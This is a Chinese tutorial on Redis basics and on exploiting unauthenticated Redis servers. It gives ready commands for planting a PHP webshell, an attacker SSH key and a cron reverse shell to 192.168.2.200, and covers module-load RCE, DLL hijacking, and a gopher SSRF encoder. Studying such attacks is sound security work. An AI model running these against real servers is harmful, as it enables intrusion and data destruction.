Redis基础
redis
Redis,英文全称是Remote Dictionary Server(远程字典服务),是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
与MySQL数据库不同的是,Redis的数据是存在内存中的。它的读写速度非常快,每秒可以处理超过10万次读写操作。因此redis被广泛应用于缓存,另外,Redis也经常用来做分布式锁。除此之外,Redis支持事务、持久化、LUA 脚本、LRU 驱动事件、多种集群方案。
常用命令
通过redis-cli -h ip -p 6379连接
info # 显示系统信息
AUTH [username] password # 认证
set xz "Hacker" # 设置键xz的值为字符串Hacker
get xz # 获取键xz的内容
SET score 857 # 设置键score的值为857
INCR score # 使用INCR命令将score的值增加1
GET score # 获取键score的内容
keys * # 列出当前数据库中所有的键
config set protected-mode no # 关闭安全模式
config set dir /root/redis # 设置保存目录
config set dbfilename redis.rdb # 设置保存文件名
config get dir # 查看保存目录
config get dbfilename # 查看保存文件名
save # 进行一次备份操作
del key # 删除键为key的数据
slaveof ip port # 设置主从关系
Redis数据库配置

常用配置含义
port
格式为port后面接端口号,如port 6379,表示Redis服务器将在6379端口上进行监听来等待客户端的连接。
bind
格式为bind后面接IP地址,可以同时绑定在多个IP地址上,IP地址之间用空格分离,如bind 192.168.1.100 10.0.0.1,表允许192.168.1.100和10.0.0.1两个IP连接。如果设置为0.0.0.0则表示任意ip都可连接,说白了就是白名单。
save
格式为save <秒数> <变化数>,表示在指定的秒数内数据库存在指定的改变数时自动进行备份(Redis是内存数据库,这里的备份就是指把内存中的数据备份到磁盘上)。可以同时指定多个save参数,如:
save 900 1
save 300 10
save 60 10000
表示如果数据库的内容在60秒后产生了10000次改变,或者300秒后产生了10次改变,或者900秒后产生了1次改变,那么立即进行备份操作。
requirepass
格式为requirepass后接指定的密码,用于指定客户端在连接Redis服务器时所使用的密码。Redis默认的密码参数是空的,说明不需要密码即可连接;同时,配置文件有一条注释了的requirepass foobared命令,如果去掉注释,表示需要使用foobared密码才能连接Redis数据库。
dir
格式为dir后接指定的路径,默认为dir ./,指明Redis的工作目录为当前目录,即redis-server文件所在的目录。注意,Redis产生的备份文件将放在这个目录下。
dbfilename
格式为dbfilename后接指定的文件名称,用于指定Redis备份文件的名字,默认为dbfilename dump.rdb,即备份文件的名字为dump.rdb。
config
通过config命令可以读取和设置dir参数以及dbfilename参数,因为这条命令比较危险(实验将进行详细介绍),所以Redis在配置文件中提供了rename-command参数来对其进行重命名操作,如rename-command CONFIG HTCMD,可以将CONFIG命令重命名为HTCMD。配置文件默认是没有对CONFIG命令进行重命名操作的。
protected-mode
redis3.2之后添加了protected-mode安全模式,默认值为yes,开启后禁止外部连接,所以在测试时,先在配置中修改为no。
下载安装redis
linux:
wget https://download.redis.io/releases/redis-5.0.7.tar.gz
tar xzf redis-5.0.7.tar.gz
cd redis-5.0.7
sed -i "s/const char \*SDS_NOINIT;/extern &/" src/sds.h #该版本需要修改
make
sudo make install
windows:
https://github.com/microsoftarchive/redis
关于漏洞
未授权情况下可以有以下几种打法:
条件:
无密码或弱密码
protected-mode no
服务开放在公网 | 结合ssrf漏洞利用
数据操纵
- 敏感数据泄露
Redis数据表可能中存储着企业的私有数据,比如一些网站的账户密码、有效的SESSIONID、FTP账户密码等,而攻击者可以随时查看数据表的内容。
- Redis数据销毁
攻击者可以修改redis数据表,增删key项,如调用flushall命令清除所有key。
- 主机系统环境泄露,为后续攻击提供网络信息
例如,使用 info 命令可以查看主机的相关信息,如操作系统环境、目录名、CPU/内存等敏感信息。

任意文件写
通过
- config set dir 设置目录
- config set dbfilename 设置文件名
- set key value的形式写数据
- save将数据写入指定文件
的方式,实现任意文件写

写入后:

写webshell
利用条件:
- 知道网站根目录
- 有写入权限
config set dir /var/www/html/
config set dbfilename zcc.php
set xxx "\n\n\n<?php @eval($_POST['zcc']);?>\n\n\n"
save
写ssh公钥
利用条件:
- redis服务以root权限启动
- 网站开启了ssh服务,且允许公钥登陆
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDCiRdspB+toUvUw1pvmizU3XUk9tEF8Dvu/u2Ro9wOYlFWL+JsEI8IWbnQY8YenPZStJMQGu0onJML+fM475Prd6llv3gOZL45P07Xv03MqVcrU0BrFxmtXd9fr91Sl5kPNME9A2LrfmWszkELGDn+RJPSTGXvB8yKTJ2TjwP2Bn6RbVCtOpX3bkaCFja4MvjxeDat0yYFRw9SOUE1UEU3jsX0jvIjhjDlcOhOtsHgB3rCyN+U6sY8T9IzmFaw7BjufHEpTiErx5NDOW/FjQsEuX2eCX6w3RxCdso1oceVhG+5VbsorEi01ddSEGubK4ZvMB0/kwJu0e1dozaJZOIKxxxx7zhdVjHb0zJQzbqqzwbMe54dsGerQA1BCnLF/axmt13BNZKXgBIcaxtPx7Ik7ekigjn/T6ldlguZXUup+yI8g8nzJEkI6PFNc+UYl+SY1cqpCmPQv2CGP8FcD++VBmxf0hh8AzO4jdbfZZIqpBqqhtVKeHLXMcV7OXCFM= red@sxxc\n\n\n"
# 本地生成的公钥写入服务器,用于远程登陆
save
写计划任务
可以写/etc/cron.d或者/var/spool/cron/crontabs/
注意,写/var/spool/cron/crontabs/
config set dirname /etc/cron.d
config set dbfilename rev
set test "\n* * * * * root /bin/bash -i >& /dev/tcp/192.168.2.200/5555 0>&1\n"
主从复制 +
原理
主从模式指使用一个redis作为主机(主节点),其他的作为备份机(从节点),从机负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力。
主从复制,是为了保持从节点与主节点数据一致性的技术。当主节点的数据发生变化时,需要将主节点的数据同步到从节点中。初始时需全量同步,后续只需要增量同步(同步修改的部分)
slaveof <host> <port> # 设置当前redis服务器作为host:port远程redis的从节点
slaveof no one # 取消主从关系
通过主从复制可以实现文件无损上传
这里的文件上传和上述的任意文件写有什么区别?
- 上述任意文件写会有附带的无关数据,会影响进一步利用
- 当dir、dbfilename等敏感配置被禁止,第一种方法就失效了
exp:
https://github.com/mekrina/tools-redis.git
本地执行:

然后在远程执行:

本地收到请求,并成功上传文件:


可以看到这里没有其他无用数据,与上传的内容完全一致
但是文件名是默认的dump.rdb
这样会导致服务器上的数据全部丢失,实际渗透测试时请谨慎操作
结合模块加载RCE
利用条件: redis 4.xx 5.xx
redis模块加载机制从redis4.0引入,允许开发者通过编写外部库来扩展Redis功能。 高版本如redis6.2.29不允许在运行时加载,需要从配置文件中加载
导入方法是
module load <module filename>
我们可以编写一个执行命令的redis模块,编译好后,通过主从复制上传到服务器,再通过module load加载该模块,实现命令执行
https://github.com/mekrina/tools-redis.git (还是它)的redisModuleMaker下实现了这个扩展,可以通过make编译,编译好的结果在uploads/module.so
通过上述方法上传module.so,然后使用
module load ./dump.rdb
加载模块,然后就可以使用自定义的命令system.exec来执行系统命令了

结合dll劫持RCE
利用条件: windows系统 下载: https://github.com/microsoftarchive/redis/releases/tag/win-3.0.504
由于microsoft官方维护的redis最高版本只到3.05, 没法用上述模块加载的方式进行攻击
但是可以结合windows中的dll劫持方式进行RCE
什么是DLL劫持?
DLL劫持(DLL Hijacking)是一种利用Windows系统动态链接库(DLL)加载机制漏洞的攻击技术。攻击者通过将恶意DLL文件放置在优先加载目录中,诱使目标程序加载该恶意DLL,从而执行恶意代码。
DLL劫持的原理
Windows程序在运行时需要加载DLL文件以调用特定功能。系统会按照一定的搜索顺序查找所需的DLL文件:
-
应用程序所在目录:优先从应用程序的目录加载DLL。
-
系统目录:通常是C:\Windows\System32。
-
16位系统目录:仅为兼容性保留,通常可以忽略。
-
Windows目录:通常是C:\Windows。
-
当前目录
-
环境变量PATH中的目录:依次搜索PATH变量中列出的所有目录。
如果程序未指定DLL的绝对路径,系统会优先加载搜索路径中第一个找到的DLL文件。攻击者可以利用这一点,将恶意DLL放置在优先目录中,替代合法DLL,从而实现劫持。
为了保持原有dll的功能,一般通过转发,即编写一个dll,在完成恶意工作后,转发给正常的dll,让他接着完成程序原本需要完成的工作

而我们上传的文件恰好就是在应用程序所在目录,也就是优先级最高的目录下
根据process monitor工具,可以测试出当执行bgsave时,redis-server会尝试从程序目录下查找dbghelp.dll,所以我们可以选择劫持这个dll, 可以保证上传的dll文件会被加载

利用现成dll劫持工具: https://github.com/mekrina/tools-dllhijacking.git
复制电脑中原有的dbghelp.dll到工具目录,命名为dbghelp_orig.dll
执行 ./hijacking.sh dbghelp_orig.dll dbghelp.dll
然后将dbghelp_orig.dll和创建的dbghelp.dll都上传到服务器
执行bgsave
服务器就会执行我们的恶意命令

注意这里需要指定上传的文件名,否则不会被加载

ssrf+redis
如果redis服务开放在公网, 我们可以通过redis-cli连接,直接执行redis命令
但是当我们仅能通过ssrf探测到内网时,我们需要使用到gopher协议或dict协议来与redis-server进行通信
比如有如下curl服务
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$response = curl_exec($ch);
通过分析redis-cli与redis-server之间的通信流量

可以发现,redis-cli其实仅仅只是把我们的输入包装成帧发送给redis-server而已,我们也可以通过curl+gopher编码完成这个工作
import urllib.parse
import re
from argparse import *
def gopher_encode(host, port, request):
request = re.sub(r"\r?\n", "\r\n", request)
result = urllib.parse.quote(request)
return f"gopher://{host}:{port}/_{result}"
if(__name__ == "__main__"):
parse = ArgumentParser(conflict_handler='resolve')
parse.add_argument("-h", "--host", type=str, required=True, help="host to request")
parse.add_argument("-p", "--port", type=str, required=True, help="port to request")
parse.add_argument("-f", "--file", type=str, required=True, help="file with full request to encode")
parse.add_argument("-e", "--encode", action="store_true", help="another url_encode after gopher_encode")
args = parse.parse_args()
with open(args.file, "r") as f:
content = f.read()
res = gopher_encode(args.host, args.port, content)
if(args.encode):
res = urllib.parse.quote(res)
print(res)
对PING编码得到gopher://localhost:6379/_PING

可以看到, 服务端识别出了PING命令
用dict协议也可以

其他漏洞
redis有非常多的CVE

其中上个月还发布了一个与lua脚本相关的内存释放后重用漏洞,不过利用难度很高

